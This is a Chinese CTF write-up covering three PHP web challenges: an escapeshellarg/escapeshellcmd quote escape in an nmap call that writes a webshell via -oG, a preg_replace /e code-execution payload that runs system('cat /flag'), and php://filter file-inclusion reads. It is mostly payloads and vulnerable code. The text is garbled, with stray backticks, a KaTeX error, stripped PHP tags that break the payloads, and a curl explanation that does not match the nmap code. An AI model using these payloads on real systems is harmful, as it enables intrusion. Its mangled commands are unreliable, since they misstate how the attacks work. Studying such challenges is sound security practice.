题目给出源码:
include("flag.php");
if(!isset($_GET['host'])){
highlight_file(__FILE__);
}else{
$host =(string)$_GET['host'];
$host=escapeshellarg($host); #作出过滤但是可以绕过
$host=escapeshellcmd($host); #逃逸出'
$sandbox = md5("box".$_SERVER['REMOTE_ADDR']);
echo "you are in sandbox: ".$sandbox."
";
@mkdir($sandbox);
chdir($sandbox);
echo ""
;
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
echo "
";
}
?>
以GET方法传递参数值给变量host,通过了两个函数过滤之后,使用system系统命令执行nmap
$host=escapeshellarg($host);
$host=escapeshellcmd($host);
两个函数一起使用时 对参数的处理会造成单引号'
逃逸
传入的参数是:``172.17``.``0.2``' ``-``v ``-``d a``=``1
经过escapeshellarg处理后变成了``'172.17.0.2'``\'``' -v -d a=1'``,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成``'172.17.0.2'``\\'``' -v -d a=1\'``,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http:``/``/``php.net``/``manual``/``zh``/``function.escapeshellcmd.php
最后执行的命令是curl ``'172.17.0.2'``\\'``' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'``没有被转义,与再后面的``'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1'``,即向``172.17``.``0.2``\发起请求,POST 数据为a``=``1``'。
#&;',|*?~<>^()[]{}$\\
。nmap有一个参数-oG可以实现将命令和结果写到文件
?host=' -oG test.php ' #查看phpinfo()
可以写一句话木马蚁剑直接访问
' -oG test.php '
也可以使用命令直接查看,因为单引号被过滤了,使用反引号
cat /flag
?host=' cat /flag
;?> -oG test.php '
一、Payload中两边的单引号
'
内侧需要加空格,否则最终会使test.php //
转义为test.php//
,不会被解释为PHP文件
二、后面没有加引号,最终转义后文件名末尾会多一个'
函数漏洞介绍
My_Dreams题解
给出一段代码:
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ #要求参数text文本内容为`I have a dream`
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){#过滤flag关键字
die("Not now!");
}
include($file); //next.php #包含文件
}
else{
highlight_file(__FILE__);
}
?>
data://伪协议
php://filter
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
next.php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
?\S*=${phpinfo()}
因为我们的参数需要在双引号中被执行,这里涉及到了可变变量----> KaTeX parse error: Expected '}', got 'EOF' at end of input: {函数} 或者 {{函数}}
?\S*=${getFlag()}&cmd=system('cat /flag');
还可以不使用getFlag()函数进行命令执行(引号会被转义),使用chr()拼接参数
?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
l1ch题解
深入研究preg_replace与代码执行
可变变量
php伪协议总结
猜测为SQL注入或文件包含漏洞
将woorers
随便改为一个值'1=1#
,没有新的线索
猜测为文件包含,尝试用PHP filter
协议流读取index.php
文件源码
出现报错,确认为文件包含,并且在包含时会在我们的参数后自动添加
.php后缀
那么我们就可以尝试查看网页源代码了
index.php
?category=php://filter/convert.base64-encode/resource=index
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ #要求参数含有有 woofers meowers index 三个字符串之一
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
strpos() 函数查找字符串在另一字符串中第一次出现的位置。返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回FALSE。
注释:字符串位置从 0 开始,不是从 1 开始。
法一
php://filter伪协议可以套一层协议
index.php
?category=php://filter/convert.base64-encode/index/resource=flag
index.php
?category=php://filter/convert.base64-encode/resource=index/../flag
解码后得到flag
k_du1t详解